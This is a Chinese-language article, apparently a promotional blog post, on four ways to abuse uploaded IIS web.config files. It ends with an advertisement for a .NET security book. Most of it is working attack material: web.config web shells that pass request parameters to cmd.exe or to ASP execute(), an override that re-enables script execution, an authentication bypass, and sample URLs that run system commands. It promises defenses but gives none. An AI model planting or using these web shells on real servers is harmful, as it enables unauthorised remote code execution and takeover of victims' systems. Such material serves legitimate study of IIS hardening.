在 .NET Web 应用安全领域,web.config
文件不仅仅是一个普通的配置文件,还能成为攻击者绕过安全限制、执行任意代码的重要工具。最近,一篇关于某电力公司 web.config
RCE 的文章在安全圈引发了热议,详细描述了攻击者如何利用 web.config
实现远程代码执行,并成功获取系统控制权限。本篇文章将系统性地介绍 四种 基于 web.config
绕过限制并执行代码的技术,结合真实案例,深入剖析其利用方式及相应防御措施。
01. 作为.NET脚本执行
当 IIS 服务器 仅支持 .NET 运行环境,且无法上传 .aspx
、.asmx
、.soap
等扩展名的文件时,攻击者可以尝试上传特制的 web.config
,让其作为 .NET 脚本运行。
1.1 利用方式
攻击者可以上传以下 web.config
文件,使其 .config
文件扩展名被当作 .aspx
解析,并执行动态 .NET 代码:
<configuration>
<system.web>
<compilation defaultLanguage="cs">
<buildProviders>
<add extension=".config" type="System.Web.Compilation.PageBuildProvider" />
</buildProviders>
</compilation>
<httpHandlers>
<add path="web.config" type="System.Web.UI.PageHandlerFactory" verb="*" />
</httpHandlers>
</system.web>
</configuration>
<%
if (flag)
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
string str = Request["c"];
process.StartInfo.Arguments = "/c " + str;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.Start();
string str2 = process.StandardOutput.ReadToEnd();
Response.Write("<pre>" + str2 + "</pre>");
Response.Flush();
Response.End();
}
%>
1.2 执行效果
攻击者访问以下 URL,可直接执行系统命令:upload/web.config?c=tasklist,如下图所示。
注意:web.config必须上传到
站点根目录,否则可能无法解析。
02. 作为ASP脚本执行
如果 IIS 支持 ASP 运行环境,但无法上传 .asp
文件,攻击者可以上传 web.config
,使其作为 ASP 代码解析。
2.1 利用方式
上传以下 web.config
,让 .config
文件扩展名被当作 .asp
解析,并执行 ASP 代码:
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*"
modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!--
<%
Response.write("->"&1+2&"<-")
on error resume next
if execute(request("dotnet")) <>"" then execute(request("dotnet"))
%>
-->
2.2 执行效果
攻击者访问以下 URL,可执行任意 ASP 代码,页面返回当前服务器的系统时间,证明代码执行成功。
/upload/web.config?dotnet=response.write(now())
注意:服务器 必须支持 ASP,否则无法解析
.config
作为 ASP 代码。
03. 绕过策略限制
某些情况下,管理员会通过
web.config
禁止 uploads/
目录执行脚本,但仍允许上传文件。攻击者可以上传新的 web.config
重新启用脚本执行权限。
3.1 利用方式
上传以下
web.config
,重新开放 uploads/
目录的脚本执行权限:
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Write">
</handlers>
</system.webServer>
</configuration>
3.2 执行效果
攻击者上传
Shell2asmx.soap
后被禁止运行,如下图所示。
但此时修改accessPolicy策略,添加写入、执行、运行脚本权限。即accessPolicy="Read,Write,Execute,Script",再向uploads目录下上传新配置的这个web.config,即可打开正常界面,如下图所示
04. 绕过身份认证
04. 绕过身份认证
.NET
web.config
可用于身份认证,默认会拒绝匿名用户访问。只有已登录用户才能访问该目录,一切的匿名访问都被重定向至登录页,重定向的URL地址如下所示。
最新研究成果:攻击者可以上传
web.config
重新开放目录权限,并执行任意代码。
4.1 利用方式
4.1 利用方式
上传以下
web.config
,绕过身份认证:
<configuration>
<system.web>
<authorization>
<allow users="*" />
</authorization>
</system.web>
</configuration>
然后访问 URL 执行系统命令:
/upload/web.config?dotnet=Response.Write(GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8").exec("cmd.exe /c tasklist").StdOut.ReadAll())
该请求会利用
Response.Write
输出 cmd.exe /c tasklist
的执行结果,即当前系统的进程列表,如下图所示。
05. 扩展阅读学习
05. 扩展阅读学习
以上知识点已收录于新书《.NET安全攻防指南》第25.1.3节,并且有完整分析
web.config
绕过限制并执行代码的技术,并提供详细的攻防实践!
全书共计25章,总计1010页,分为上下册,横跨.NET Web代码审计与红队渗透两大领域。上册深入剖析.NET Web安全审计的核心技术,帮助读者掌握漏洞发现与修复的精髓;下册则聚焦于.NET逆向工程与攻防对抗的实战技巧,揭秘最新的对抗策略与技术方法。
自《.NET安全攻防指南》上线以来,许多读者已抢先下单成功购入并收到了书籍,反响热烈,好评如潮!
感谢大家的支持与肯定,我们也将持续为大家带来更多优质的.NET安全研究成果!原/价/258/元,现/限/量/优/惠,全/套/仅/售/141/元,数量有限!
点/击/京/东/链/接:https://item.jd.com/10140917044329.html 或/者/打/开/手/机/京/东APP/即/可/下/单/购/买。